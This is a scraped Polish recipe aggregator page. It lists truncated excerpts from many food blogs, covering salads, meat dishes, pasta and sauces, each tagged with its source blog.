lodówce w misce przykrytej folią spożywczą. Poniżej kilka moich przepisów, do których surówka pasuje idealnie: Kotlety mielone Kotlety schabowe smażone na smalcu Przepis na puree ziemniaczane Bitki w sosie cebulowym Zrobiłeś ten przepis? Oznacz @ugotuj.przepis na Instagramie i hashtagiem: #UgotujPrzepis Wypróbowałeś surówkę z czerwonej kapusty? Koniecznie podziel się w komentarzach 🙂 Ten przepis Surówka z czerwonej kapusty pochodzi z serwisu Przepisy

ugotuj-przepis.pl
Filet w nietypowym kożuszku 161

naczyniu, ja podałam z pieczonymi ziemniakami ( ziemniaki obrałam pokroiłam w plasterki, ułożyłam w naczyniu żaroodpornym, doprawiałam przyprawą do ziemniaków i solą, następnie zapiekłam w piekarniku) również możemy zrobić sos, zmieszać majonez z ketchupem. 8.   Danie gotowe 9.   Smacznego

Kulinarna Chwila
Szaszłyki Zadziorny Zenek 148

powtarzamy. 4.   Układamy na blaszce wyłożonej papierem do pieczenia i zapiekamy 30 minut w 180°C  albo układamy na Grillu 5.   Danie gotowe, można podać z sosem dowolnym 6.   Smacznego

Kulinarna Chwila
SZNYCELKI ZIEMNIACZANE Z KASZANKĄ 186

lubicie kaszankę 😉). To prosty i tani obiad. Moje sznycelki jedliśmy z surówką z ogórków małosolnych, ogórków gruntowych i młodej cebulki.  Fajnie smakują jako przekąska np z ketchupem albo sosem czosnkowym ...  Ale najlepiej smakują mi jednak z ugotowaną kapustą kiszoną 😍 Składniki: 6 krótkich kaszanek  3 cebule ok 1 kg ziemniaków 2-3 łyżki mąki ziemniaczanej 1 jajko

Walijskie Pichcenie
SURÓWKA OBIADOWA Z KAPUSTY PEKIŃSKIEJ, KUKURYDZY I PAPRYKI 129

pokroić w drobną kostkę, kukurydzę osuszyć z zalewy. Wszystko umieścić w misce, wymieszać. W osobnej miseczce wymieszać majonez ze śmietaną, sokiem z cytryny, solą i pieprzem, wymieszać. Tak przygotowany sos dodać do warzyw, ponownie całość dokładnie wymieszać

Zrób to smacznie
Sezonowo z rabarbarem 137

kupiłam piękny super czerwony rabarbar i upiekłam galette. Jest to pyszny i szybki deser do przyrządzenia w tygodniu. Uwielbiam wypieki z rabarbarem. Galette z rabarbarem najczęściej jemy z waniliowym sosem ale przy dzisiejszej pogodzie proponuję lody waniliowe lub lody rabarbarowe . Nie pierwszy raz piekłam galette z rabarbarem . Rabarbar ma to do siebie, że można go łączyć z owocami. Świetnie pasuje

codojedzenia
Pieczone kawałki indyka w czosnku i ziołach 173

mięsa z udźca indyka 5 ząbków czosnku 2 cebule garść gałązek świeżych ziół  (tymianek, majeranek, rozmaryn) - lub po 1/2 łyżce suszonych 50 g masła Marynata: 3 łyżki sosu sojowego 1 łyżka suszonego majeranku 1 łyżka granulowanego czosnku 1 łyżka słodkiej papryki 1 łyżeczka ostrej papryki 2 łyżki oleju 1 łyżeczka soli Sposób wykonania: Mięso kroimy na średniej wielkości kawałki

Qchnia po prostu
Pierś z kurczaka w musztardowej marynacie 188

Pierś z kurczaka w musztardowej marynacie to niezwykle aromatyczne danie, które jest niezwykle syte, zdrowe i z całą pewnością powinno pojawić się w Waszej diecie. Kluczem

Kulinarnyblog.pl - wiesz jak gotować!
Spaghetti tricolore selero - pomodore 96

Pomysł Przemka, danie wyszło pyszne i oczy same jedzą. Zachęcam do wypróbowania, przypadnie do gustu niejednemu smakoszowi. Nazwa sama ułożyła się w rym. Zaczynamy. Spaghetti z sosem selerowo - pomidorowym. CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z ziemniaków i prosciutto 156

Latem szybko można wyczarować coś pysznego na obiad. Wystarczy ugotować ziemniaki, wyciągnąć pyszną szynkę prosciutto, zrobić sos i danie gotowe. Piszecie się na taki letni obiad? my chętnie i zawsze, zapraszam. Sałatka ziemniaczana po włosku. CZYTAJ DALEJ

Moje Małe Czarowanie
Makaron ze szparagami, cukinią i mascarpone 128

dokładnie mieszamy. Dodajemy odcedzony makaron. W razie potrzeby doprawiamy jeszcze do smaku. Dla mnie danie było fajne, choć mało wyraziste. Dodałam więc sporą szczyptę przyprawy ognistej oraz skropiłam sosem worcester. Źródło

Smaki Na Talerzu
Pesto 134

Zapraszam po niezwykle aromatyczne i super pyszne domowe pesto . Przepis jest prosty a pesto bazyliowe przygotujesz pewnie krócej niż w piętnaście minut. Sos świrnie smakuje podany do pieczywa lub do makaronu. - tradycyjny przepis - szybkie i pyszne zielone pesto - wiele porad oraz wykonanie krok po kroku

AniaGotuje.pl
Młoda kapusta z frankfurterkami 243

minut. Następnie przykrywamy patelnię pokrywką i dusimy całość aż kapusta zmięknie i przejmie cały smak przypraw (powinniśmy uzyskać miękko kapustkę pełną smaku i małą ilość a la sosu). Próbujemy, opcjonalnie doprawiamy pieprzem i/lub solą i jeszcze chwilę dusimy. Podajemy jako samodzielne danie lub dodatek do innych dań. Smacznego

Słodkie okruszki
Prosta surówka z marchewki i jabłka 210

przygotowania dosłownie w kilka minut. Wystarczy obrać marchewki i jabłko, zetrzeć na tarce, dodać pozostałe składniki i wymieszać. Gotowe! Prosta surówka z marchewki i jabłka doskonale smakuje z najróżniejszymi sosami mięsnymi, kotletami, a nawet kluseczkami. Spróbujcie. Zapraszam też po inne moje przepisy na domowe surówki i sałatki . Jeśli szukacie też inspiracji na obiad to zerknij na pomysły na obiad . Składniki

Słodkie okruszki
Szparagi w cieście francuskim z szynką i serem 145

Szparagi w cieście francuskim z szynką i serem. To kolejny przepis na wykorzystanie ciasta francuskiego w wersji wytrawnej. Bardzo lubię połączenie szparagów z szynką Masło, parmezan, muślinowe sosy holenderskie – kontrastują z ich słodkawym, nieco siarkowym smakiem, który nawet dodatkowo jest wzmacniany. W sezonie dobrze mieć w lodówce kilka takich składników, z których szybko można wyczarować coś efektownego, gdy idą goście

Damsko-męskie spojrzenie na kuchnię
Poradnik ProstePesto. Dlaczego warto jeść miód? 126

postaci, serwowane nam przez naszych pszczelich przyjaciół. Szukasz przepisów z wykorzystaniem miodu? Nie szukaj więcej, mamy kilka dla ciebie: Pieczone podudzia kurczaka miodowo – musztardowe Amerykańskie żeberka w miodowo pomidorowym sosie Sałatka z melonem i szynką parmeńską prosciutto Wytrawna sałatka z arbuzem i serem feta Syrop z mniszka lekarskiego o leczniczych właściwościach Artykuł Poradnik ProstePesto. Dlaczego warto jeść miód? pochodzi

ProstePesto.pl
Klops z gotowanego mięsa 153

masą mięsną. Formę do pieczenia wysmarować masłem i wysypać bułką tartą. Masę mięsną wyłożyć do formy. Wstawić do piekarnika nagrzanego do 180 stopni na około 40 minut. Podałam z sosem z ogórków marynowanych

królestwo garów
Grill 166

Tortille z grillowanym mięsem wołowym i warzywną salsą       Spring rolls z grillowanym indykiem i warzywami      Tortille z grillowanym kurczakiem w sosie czosnkowo-musztardowym

Passions hobbies life
Pierogi z botwinką i koperkowo-orzechowym masełkiem 157

potrzebami konsumentów powstała uniwersalna przyprawa Vegeta Natur w płynie bez glutaminianu sodu, sztucznych barwników, aromatów, konserwantów. Dzięki temu  idealnie podkreśli smak nie tylko zup, ale wszelkiego rodzaju sosów, mięs czy dań rybnych. https://www.vegeta.pl/pl/aktualnosci/nowosc-vegeta-natur-przyprawa-w-plynie

Szalona Kuchnia Eweliny
Orkiszowa tarta ze szparagami i boczkiem. 244

miksuję blenderem na gładką masę. Moje pesto jest zawsze intensywne dlatego may już nie solę, ponadto boczek jest też sam w sobie dość słony i tą słoność odda do sosu. Ale jeśli lubisz słony smak to dopraw masę wedle własnych upodobań. Ciastem wylepiam formę do tarty, układam na niej pokrojony w cienką kostkę boczek, wylewam masę i na wierzch dodaję

SMYKWKUCHNI
Cheeseburgerowa patelnia 175

miękkości kapusty. W osobnym rondelku roztapiamy masło. Śmietanę mieszamy z serkiem na gładką masę, dodajemy do masła. Podgrzewamy i dodajemy ser ciągle mieszając. Solimy i pieprzymy do smaku. Sos dodajemy do mięsa i chwilkę gotujemy. Smacznego Makro w 100g 250kcl B- 15g T-20g W-1,2g Makro w porcji 256g

serzmiesem
Ryżowa sałatka z kurczakiem i warzywami 163

krążki, a paprykę w kostkę. 5. Ostudzony ryż przełóż do miski, wymieszaj z kawałkami kurczaka i warzywami. 6. Oliwę, sok z cytryny i przyprawy dokładnie wymieszaj, aby powstał sos, i polej nim sałatkę. 7. Fetę pokrój w kostkę i posyp nią zawartość miski. 8. Na koniec posyp wszystko posiekaną natką pietruszki

Z notatnika dietetyka
Sałatka z truskawkami i szparagami 215

zimna wodą. Pomidory kroimy w plastry, truskawki na ćwiartki. W misce układamy listki szpinaku, pomidory, truskawki i szparagi. Posypujemy serem feta. W szklance mieszamy ocet, oliwę i przyprawy, gotowym sosem polewamy sałatkę i posypujemy ziołami. Podajemy od razu

Kulinarne przygody Gatity
Udka kurczaka faszerowane mięsem i warzywami 210

umieszczamy w foliowym worku do pieczenia. Wkładamy do piekarnika nagrzanego do temperatury 180’C i pieczemy przez 1 godzinę *** *** Po tym czasie udka rozkładamy na blaszce, polewamy delikatnie sosem, który się wytworzył i zapiekamy jeszcze przez około 15 minut , już bez przykrycia, aby skórka ładnie się zrumieniła *** *** Podajemy z ulubioną surówką i dodatkami, polecam pieczone ziemniaczki PRZEPIS TUTAJ , które

Blog z Apetytem
Indyk w młodej kapuście 222

Składniki: 400 g fileta z indyka 1/2 główki młodej kapusty 2 cebule sól, pieprz czubryca czerwona pieprz ziołowy ocet balsamiczny maggi 1/2 łyżki sosu chili 2 łyżki posiekanego koperku majeranek, … Czytaj dalej Indyk w młodej kapuście

czarrna od kuchni
Surówka z młodej kapusty z rzodkiewką 290

poszatkować, obrać ogórki, pokroić w kostkę, a rzodkiewki w półplasterki. Zieloną cebulkę posiekać. 2. Do szklanki wlać troszkę oleju, dodać sok z cytryny, sól, pieprz i odrobinę cukru. Wymieszać. sos wlać do warzyw, całość zamieszać. I gotowe. Szybko, prosto, smacznie! Smacznego

Kuchnia domowa Ani
Carbonara z cukinii 121

cukinii, jako alternatywę dla osób które są na diecie lub nie mogą jest makaronu. Tym razem przygotowałam inną wersję popularnego, włoskiego makaronu mianowicie carbonarę i również z cukinii. Do sosu użyłam serka mascarpone. Powstał pyszny i ekspresowy obiad, oczywiście dla tych co lubią warzywa. Czytaj więcej

Bernika - moj kulinarny pamietnik
Tosty z jajecznicą, boczkiem i fasolką 214

Dzisiaj troszkę bardziej obfite śniadanie na styl brytyjski, czyli tosty z jajecznicą fasolką i boczkiem. Składniki: pieczywo tostowe 6 sztuk puszka fasolki w sosie pomidorowym 6 plastrów boczku 6 jajek 1 łyżka masła przyprawy: sól, pieprz szczypiorek do dekoracji Przepis: Pieczywo zapiekamy w tosterze, Na suchej patelni grillujemy plastry boczku, Fasolkę podgrzewamy, Jajecznicę smażymy na maśle, doprawiamy solą i pieprzem

tyfranbox
Pstrąg pieczony w piekarniku 161

żaroodporne z rybą wkładamy do piekarnika na 30 minut. Ja piekę na grzałkach: dolna + termoobieg. Po tym czasie ryba będzie gotowa. Rybę podajemy na talerzu, na który przelewamy również sos, który znajduje się na dnie naczynia żaroodpornego. Jest w nim masa smaku. Pstrąga podajemy z białym pieczywem. Smacznego

Smak mojego domu
Kolorowa fasolka szparagowa z pomidorami zapiekana z fetą w ziołach 193

dodaj posiekane fileciki anchios i posiekany czosnek. Podsmaż krótko. Dodaj pomidory i chili. Kilka minut pogotuj. Odcedź fasolkę. Pomidory przelej do brytfanny lub naczynia z możliwością zapiekania, rozłóż na sosie fasolkę, całoś posyp pokruszoną fetą a wierzch posyp suszonymi ziołami.  Zapiekałam pod gillem ok 5 minut. Można zapiec w 180 stopniach C. przez 15 minut. Posypać świeżym oregano

AZgotuj!
Pyszna sałatka na piknik 178

również świetny pomysł na szybkie i smaczne danie fit na obiad czy na kolację. Do sałatki polecam pesto lub prosty winegret. Ponieważ jest to sałatka wymieszana z tłustym sosem najlepiej spożyć ją od razu po przygotowaniu. Sałatka na piknik 4 porcje Składniki: 2 awokado 150 g pomidorów koktajlowych 2 dymki 150 g mini mozzarella 3 łyżki pesto z jarmużu, tutaj

codojedzenia
Polska - Wegańskie szare kluski z kapustą kiszoną i tofu-skwarkami 151

Powraca mamina kuchnia i pomysł na wegańską wersję tradycyjnego niedzielnego obiadku. Poprzednio proponowaliśmy  zupę z kaszą jaglaną i pieczarkami  i  kotlety ziemniaczane z sosem z ogórków kiszonych  (również w wegańskiej wersji). Dzisiaj przyszedł czas na kolejny klasyk, czyli szare kluski z zasmażaną kiszoną kapustą i tofu-boczkiem.  Składniki (3 porcje): - 0.5 kg ziemniaków

Roślinożerni urlopowicze
Karkówka pieczona z pieczarkami w majonezie i ketchupie 163

Szukacie pomysłu na pyszny obiad który przygotuje cię w kilka minut , więc to właśnie jest danie dla was. Pyszna karkówka z pieczarkami zapieczona w sosie z majonezu z ketchupem. Przygotowanie to maksymalnie 10 minut plus pieczenie. Polecam

Swojskie jedzonko
Miodowo-musztardowo-czosnkowa polędwiczka wieprzowa 155

lekko polędwiczkę z każdej strony. Tak przygotowaną polędwiczkę umieścić w naczyniu żaroodpornym. Pokryć całą marynatą. Piec około 20 minut w temperaturze 170 stopni Od czasu do czasu polewając powstającym sosem. Podawać z ulubionymi dodatkami. Smacznego

Zielona Kuchnia
Sałatka grillowa z papryczkami padron i grzankami 154

pół, ogórki w plastry i na pół. Ser feta kroimy w kostkę. 2 łyżki oliwy mieszamy w szklance z octem, bazylią, oregano, solą i pieprzem. Pomidorki mieszamy z sosem, ogórkami i serem feta. Na patelni rozgrzewamy 1 łyżkę oliwy. Większe papryczki kroimy na mniejsze kawałki, pozbawiamy je ogonków. Chleb kroimy w kosteczkę. Chleb i papryczki wrzucamy na patelnię. Przeciskamy czosnek

Czarnawisienka
Aronia. Uprawa, właściwości, zastosowanie 129

zastosowanie w przetwórstwie, kulinariach, kosmetyce i farmakologii. Z owoców aronii przygotowuje się dżemy, konfitury, soki, syropy, kompoty, nalewki i galaretki. Nadaje się jako dodatek do ciast oraz mięs i sosów. Suszone owoce nadadzą się na herbatę. Sok z aronii bardzo dobrze sprawdza się jako barwnik, może być też pomocny w przypadku oparzenia słonecznego. Artykuł Aronia. Uprawa, właściwości, zastosowanie pochodzi

ProstePesto.pl
Makaron w sosie curry Marty Hennig 180

Martą Hennig z bloga Codziennie fit 🙂 Składniki: 1 filet z kurczaka 1/2 papryki 1 cebula 3 ząbki czosnku 1/2 średniej cukinii 2 garście … Czytaj dalej Makaron w sosie curry Marty Hennig

czarrna od kuchni
Placki z kiszonej kapusty 181

Placki z kiszonej kapusty są banalnie proste w przygotowaniu. Są pyszne same w sobie ale również smakują jako dodatek do różnych sosów, gulaszy. Fajny zamiennik od tradycyjnych placków ziemniaczanych :). (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 450 gram odciśniętej i posiekanej kapusty kiszonej 2 jajka 3-4 czubate łyżki mąki pszennej ( obserwujemy konsystencje) płaska łyżeczka majeranku sól, pieprz do smaku olej do smażenia

Blog kulinarny S9.PL
Grillowany boczek na patyku – hit 154

nawiniętego na patyczek. Super prosta sprawa a efektownie się prezentuje. Po więcej przepisów w tym temacie zapraszam do odpowiednich działów: Mięso z grilla Warzywa z grilla Sałatki na grilla Sosy do grilla PRZEPIS GRILLOWANY BOCZEK NA PATYKU Składniki: boczek surowy bez kości w długim kawałku lub w plastrach długich, niezbyt cienkich sól kłodawska pieprz czarny świeżo mielony mieszanka przypraw gyros

Dorota Smakuje
Wątróbka kacza z sosem malinowym 120

piórka i smażyłem razem z wątróbką. Doprawiłem do smaku solą i pieprzem na koniec. Na półmisku rozłożyłem sałatę, na to usmażoną wątróbkę i cebulą. Rozrzuciłem świeże maliny. Wszystko polałem sosem malinowym

R'n'G Kitchen
Spaghetti ze szpinakiem 164

szpinak zacznie wrzeć, dolewamy śmietankę wymieszaną z wodą z gotowania makaronu i dodajemy parmezan. Mieszamy do połączenia składników i odparowania płynu, a następnie łączymy z makaronem, starając się by sos w całości go pokrył. Podajemy na ciepło, posypane odrobiną podprażonych orzechów. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style

Kuchnia w czekoladzie
Uniwersalna surówka z białej kapusty 137

zrobienia surówka z niewielu składników. Pasuje do większości obiadów składających się z mięsa i ziemniaków. Moim zdaniem pasuje również do ryby, dań z grilla czy klusek z mięsnymi sosami. Dlatego też nadałam jej nazwę uniwersalnej. Ja takie surówki mogę również jeść jako samodzielną przekąskę pomiędzy posiłkami. Wspomniana uniwersalna surówka oprócz białej kapusty, zawiera w składzie marchew i cebulę oraz przyprawy

Waniliowe Improwizacje
Surówka z ogórków kiszonych 233

wymieszaj. Gotowe. Zrobiłeś ten przepis? Oznacz @ugotuj.przepis na Instagramie i hashtagiem: #UgotujPrzepis Polecam Ci surówkę z ogórków kiszonych i cebuli do moich pozostałych przepisów na: Kotlety mielone Bitki w sosie cebulowym Kotlety schabowe Z czym podajesz surówkę z kiszonych ogórków? Ten przepis Surówka z ogórków kiszonych pochodzi z serwisu Przepisy kulinarne

ugotuj-przepis.pl
Pieczone tofu z przyprawami 223

tofu. Następnie całość odstawiamy do lodówki na kilka godzin. Następnie po tym czasie tofu odcedzamy z marynaty. Piekarnik nagrzewamy do 220 stopni i pieczemy przez około 15 minut, aż sos wyparuje i zacznie się lekko przypalać. Artykuł Pieczone tofu z przyprawami pochodzi z serwisu Przepisy kulinarne FoodMagazine.pl

FoodMagazine.pl - Przepisy kulinarne
Kopytka szpinakowe / Spinach gnocchi 120

recipe in English.  Dzisiaj obiad na zielono :) Nasze polskie kopytka z dodatkiem szpinaku. Ja podałam je tylko z podgrzanymi na masełku ziołami, ale oczywiście można też zrobić sos, jaki tylko się najbardziej lubi :) Składniki: (5-6 porcji) 800 g. obranych ziemniaków 8 łyżek mąki pszennej + 2-3 łyżki do podsypywania 1 łyżka mąki ziemniaczanej 1 jajko duża garść świeżego

Delicious Place
Sprawdź kto wygrał zestaw 8 produktów od Hotz 159

zakupy! (E) – Ewidentnie spodobają się w kuchni wszystkim nowe smaki, (O) – Oczywiście super sprawa, dla mojego mężczyzny będę serwować wyśmienite afrodyzjaki! (K) – KONCENTRAT CHILI dodam do sosu do pizzy, tak dla pikanterii, (R) – Razem z KONCENTRATEM CURRY odnajdą się też w innej obiadowej scenerii! (U) – Uszykuję innym razem leczo, więc niezawodny koncentrat zdziała cuda

Słodkie okruszki
Zupa meksykańska z wołowiną 166

Bardzo lubię kuchnię meksykańską. Połączenie pomidorowego sosu ze słodką kukurydzą i pikantnym chili to coś, co uwielbiam! Zupa meksykańska to doskonała propozycja na kolację, każdego rozgrzeje w chłodne jeszcze wieczory ;) Składniki: 1 kg mielonego mięsa wołowego 2 passaty pomidorowe 2 puszki czerwonej fasoli 1 duża puszka kukurydzy 2 czerwone papryki 300 ml wody 2 cebule 6 ząbków czosnku 1 łyżeczka

Prosto z Kotła
Kotlety z zielonej soczewicy 196

Bezmięsne obiady są równie smaczne co mięsne. Te kotlety to jakiś kosmos. Przyprawy grają tu pierwsze skrzypce. Wierzch kotlecików jest chrupiący, środek mięciutki. Polecam z sosem czosnkowym na bazie jogurtu naturalnego.    200 g zielonej soczewicy 1 łyżeczka przyprawy uniwersalnej 1 duża cebula 2 ząbki czosnku 2 marchewki 1 mała pietruszka (korzeń) 1 jajko 4 łyżki mąki pszennej

VioletoweKucharzenie
Maślane tagliatelle ze szparagami 156

dodajemy ugotowany makaron oraz około 1/2 szklanki (125 ml) wody po gotowaniu makaronu. Następnie zwiększamy ogień i gotujemy całość około 1-2 minut, aż woda odparuje i powstanie pyszny sos. Podajemy obficie posypane serem i świeżo mielonym pieprzem. Smacznego Artykuł Maślane tagliatelle ze szparagami pochodzi z serwisu PatiGotuje

PatiGotuje
Udka po szatańsku 157

pokrojone w paseczki papryki 6.   Podlewamy szklanką wody, wsypujemy kurkumę oraz 1 łyżkę curry i szczyptę imbiru 7.   Pod koniec prużenia wlewamy śmietanę, chwilkę gotujemy i polewamy sosem udka 8.   Danie gotowe 9.   Smacznego

Kulinarna Chwila
Kurczak w bieliźnie 127

Kurczak w bieliźnie Czasami mam ochotę na szybkie danie a nie ma nic prostszego, jak filet z kurczaka z warzywami, polany pysznym sosem Składniki: ·        1 filet z kurczaka ·        ½ kg ziemniaków ·        Brokuł ·        2 łyżki majonezu

Kulinarna Chwila
Białe Szparagi Zapiekane z Szynką Szwarcwaldzką 134

Jednym z moich ulubionych warzyw sezonowych są szparagi, dziś zapiekane z szynką szwarcwaldzką i serem żółtym, są przepyszne w tej postaci, idealnie smakują z dodatkiem sosu holenderskiego. SKŁADNIKI: 1 kg białych szparagów 200g szynki szwarcwaldzkiej 200g sera żółtego startego na grubych oczkach woda sól (około łyżeczki) cukier (około łyżeczki) masło (około łyżki) WYKONANIE: 1. Szparagi obieramy ze skórki, odcinamy twarde

Dziś Ja gotuje
Gołąbki z kapusty włoskiej 167

gotującej się wody uprzednio wycinając na tyle, na ile się da głąb. Gotuj 10 minut. Tofu rozdrobnij widelcem. Na dużej patelni rozgrzej olej, 3-4 łyżki. Wrzuć tofu, przyprawy, sos sojowy i ryż. Smaż wszystko razem dodając jeszcze około 100 ml soku pomidorowego. Ugotowana kapustę podziel na liście, odetnij grubsze części z każdego liścia, żeby się nie łamały podczas zawijania

greenscarf
Rożki francuskie z jabłkami 109

pudrem lub polej lukrem.   Prócz jabłek do środka możesz dodać też rodzynki lub suszoną żurawinę.       (adsbygoogle = window.adsbygoogle || []).push({}); Polecam też… Sałatkę owocową z malinowym sosem Sałatkę Caprese Lody z arbuza Nalewkę brzoskwiniową Domowy napój pomarańczowy

Kulinarny S.O.S.
Poradnik ProstePesto. Jak założyć firmę za oceanem? 128

kanapka Szarpana wieprzowina w burgerach amerykańskich Burger Hawajski. Pyszny burger z anasem z grilla Amerykańskie burgery z soczystą wołowiną Amerykańska szarlotka z maślaną kruszonką Amerykańskie żeberka w miodowo pomidorowym sosie Artykuł Poradnik ProstePesto. Jak założyć firmę za oceanem? pochodzi z serwisu ProstePesto

ProstePesto.pl
Najlepsze przepisy na szparagi 145

szparagami Sałatka z mozzarellą Wiosenna sałatka ze szparagami Risotto ze szparagami Zielona pizza ze szparagami Szparagi z sadzonymi jajkami Omlet ze szparagami i pieczarkami Tagliatelle ze szparagami Makaron z sosem szparagowym Pizza z zielonymi szparagami Tartaletki ze szparagami Tarta ze szparagami Tarta z zielonymi szparagami Makaron pełnoziarnisty ze szparagami Pieczone szparagi Szparagi z sezamem

Kulinarne przygody Gatity
Sałatka brokułowa z sezamem po azjatycku 134

sałatkach rodem z Azji można doszukać się prostych składników i wyrazistych sosów, dzięki temu są aromatyczne i pyszne. Smak Orientu na talerzu, to smak dobrego dania. Polecam sałatkę do wypróbowania. Sałatka z brokułem. CZYTAJ DALEJ

Moje Małe Czarowanie
Sojonez – Wegański Majonez 147

Przepis na sojonez, czyli wegański majonez Sojonez wykonany jest głównie na mleku sojowym (najlepiej niesłodzonym) z dużą ilością oleju. Ja używam najczęściej oleju rzepakowego tłoczonego na

Blendman
Kulinarna wyprawa do Gruzji, czyli smaki Adżarii cz.1 133

plastry bakłażana z farszem orzechowym. Potem na stole pojawiły się dania na ciepło: Mcwadi w chlebku lawasz, czyli szaszłyk wieprzowy w cienkim cieście. Szkmeruli, delikatne kawałki kurczaka w czosnkowym sosie. Nie zabrakło także idealnie przyrządzonego okonia morskiego i oczywiście tradycyjnego Chaczapuri nadziewanego lokalnym serem. A to wszystko w otoczeniu krajobrazów nadmorskiej promenady. Ten, ciągnący się przez 10 kilometrów deptak

kuron.com.pl
Boczek wędzony na szybko 148

nadała przyprawa Vegeta Natur z czosnkiem Boczek wędzony na szybko Składniki 2kg wieprzowego boczku ze skórą Sól Pieprz 2 łyżeczki przyprawy warzywnej natur 2 łyżeczki przyprawy z czosnkiem natur Sos sojowy Majeranek Czosnek

Kulinarne pyszności Molki
Łopatka faszerowana grzybami, kotlety 127

votes ) Łopatka faszerowana grzybami, kotlety Łopatka faszerowana grzybami to idealny pomysł na każdy obiad, świetnie smakuje nawet na zimno..ale wtedy warto mieć pod ręką majonez lub sos tatarski Za te dwa ostatnie już mi się na blogu oberwało, od jednego z odwiedzających, że jestem dyletantem bez pojęcia o gotowaniu skoro używam majonezu i ketchupu. Cóż, prawda jest taka

Ogrodnik w podróży
Bardzo szybki makaron z pomidorami i oliwkami 125

posiekane oliwki, podsmaż. Następnie pozbawione skórki pomidory pokrój w kawałki i wrzuć dodając sporo bazylii jeśli lubisz. Dosmacz solą, pieprzem. Przykryj, duś powoli aż pomidory zupełnie się rozpadną. Zblenduj sos na gładko. Wymieszaj z makaronem, podawaj z parmezanem. To wszystko! I jest pysznie

Z Kuchni Do Kuchni
Sałatka z tuńczykiem i białą fasolą 159

Szybka sałatka w sam raz na kolację. Składniki: 1 sałata lodowa 1 puszka białej fasoli 2 puszki tuńczyka w sosie własnym (kawałki) 1/2 słoiczka zielonych oliwek 2 pomidory 1 nieduży ogórek oliwa z oliwek ulubiona przyprawa do sałatki Sposób wykonania: 1. Sałatę lodową, pomidory, ogórki pokroić. 2. Oliwki pokroić na połówki, fasolę oraz tuńczyka odsączyć z zalewy. 3. Wszystkie składniki

Kuchnia domowa Ani
PIECZONE ZIEMNIAKI 129

Jeśli zdecydujecie się na młode ziemniaki, polecam ich nie obierać a dobrze wyszorować. Do młodych ziemniaków z piekarnika idealnie pasować będzie np. młoda kapusta. Ziemniaki pieczone można podać z sosem aioli lub czosnkowym albo zwyczajnie posypać posiekaną świeżą natką lub koperkiem. Pieczone ziemniaki SKŁADNIKI: 5 dużych ziemniaków 1 duża czerwona papryka 1 średnia cebula przyprawy: świeżo zmielony pieprz, vegeta natur

Zasmakuj Kuchni
Zapiekany omlet z nowalijkami 208

curry, która uwydatnia smaki jeszcze mocniej i lekka masa jajaczna, łącząca całość. Lekko, pysznie, prosto i bardzo wiosennie :) Można zjeść samo, można posypać dodatkową porcją świeżych ziół lub dodać sos na bazie jogurtu naturalnego. Taki omlet idealnie sprawdzi się na śniadanie ale i na popołudniową słoną przekąskę. Na ciepło i na zimno zachwyci niejdnego! :) Zapiekany omlet z nowalijkami Potrzebujesz

Kuchnia w Słońcu Skąpana
Udka kurczaka w sosie BBQ z ananasem 153

powiecie na połączenie pieczonego, soczystego kurczaka, pikantnego i aromatycznego sosu BBQ i słodkiego ananasa? To wszystko możecie mieć w jednym daniu, na jednej patelni i to w ciągu godziny. Czy to nie kusząca propozycja, szczególnie w taki zimny i deszczowy, wiosenny dzień. Zajrzyjcie poniżej i zróbcie koniecznie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Czerwony kapturek 166

pokrojone papryki, doprawiamy solą czosnkiem oraz pieprzem, prużymy 10 minut 5.   Podlewamy wodą, dodajemy kostkę rosołową oraz wlewamy śmietanę, chwilę gotujemy 6.   Następnie miksujemy warzywa i polewamy sosem mięso 7.   Danie gotowe 8.   Smacznego

Kulinarna Chwila
Spaghetti z krewetkami na białym winie 149

ziołami i szczyptą chili. Gotujemy na małym ogniu przez ok 7 minut i dodajemy krewetki. Gotujemy mieszając cały czas ok 5 minut, aż krewetki zrobią się różowe. Do gotowego sosu dorzucamy ugotowany makaron i mieszamy całość, rozkładamy na talerze posypujemy natką pietruszki i ewentualnie parmezanem. Smacznego! 1 porcja (bez sera)  - 438 kcal,  - białko - 25 g,  - tłuszcze

Moje Kuchenne Rewelacje
Bagietka pszenna na pszennym zakwasie 167

moim domu na stałe. Przed pieczeniem trzeba tylko dać jej czas na powolne wyrastanie. Doskonale pasuje do wędlin, dżemów, serów, jest wspaniałym dodatkiem do zup oraz dań z sosem. Jest to mój kolejny wypiek na zakwasie pszennym zrobionym z mąki tortowej. Co potrzeba: 300 g zakwasu pszennego dokarmionego 12 godzin wcześniej, 400 g maki pszennej tortowej

Bułka z Chlebem
Keto drobiowe szaszłyki z cukinią (Paleo, LowCarb) 214

sferze doboru składników, to czemu nie pobawić się zatem formą…? Moja dzisiejsza propozycja to nic innego jak włoskie polpette con olive . W kraju pochodzenia zestawia je się zazwyczaj z sosem pomidorowym i myślę, że pasowałby on tutaj wyśmienicie. Ja jednak postawiłam na zielony dodatek w postaci purée z brokuła . Też pysznie i zdrowo. Dodatkowym plusem tego dania jest fakt

Modern Cave Girl
Zapiekanka ziemniaczana z młodą kapustą i boczkiem 177

Następnie układamy połowę ilości boczku i przykrywamy je kolejną warstwą ziemniaków. Na wierzchu układamy znów boczek. Śmietanę łączymy z jajkami, tymiankiem, majerankiem, solą i pieprzem. Zapiekankę równomiernie polewamy śmietanowym sosem, układamy gałązki świeżych ziół. Naczynie przykrywamy i wkładamy do nagrzanego piekarnika. Pieczemy w 180°C przez godzinę. Na 10 minut przed końcem pieczenia zdejmujemy przykrywkę aby wierzch zapiekanki zarumienił się

Qchnia po prostu
Szakszuka ze szpinakiem 126

razem postanowiłam zrobić szakszukę ze szpinakiem. Podstawowymi składnikami tego dania są świeże pomidory, papryka, cebula oraz jajka. Przygotowując szakszukę nie mieszamy jajek, muszą one tak jakby gotować się w sosie pomidorowym. Białko powinno się ściąć, a żółtko pozostać płynne. Szakszukę ze szpinakiem robię zazwyczaj na śniadanie lub kolację i podaję z pieczywem. (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 2 pomidory malinowe

Danka Pichci
Oszczędna Zupa Tajska – 1 składnik robi robotę! 154

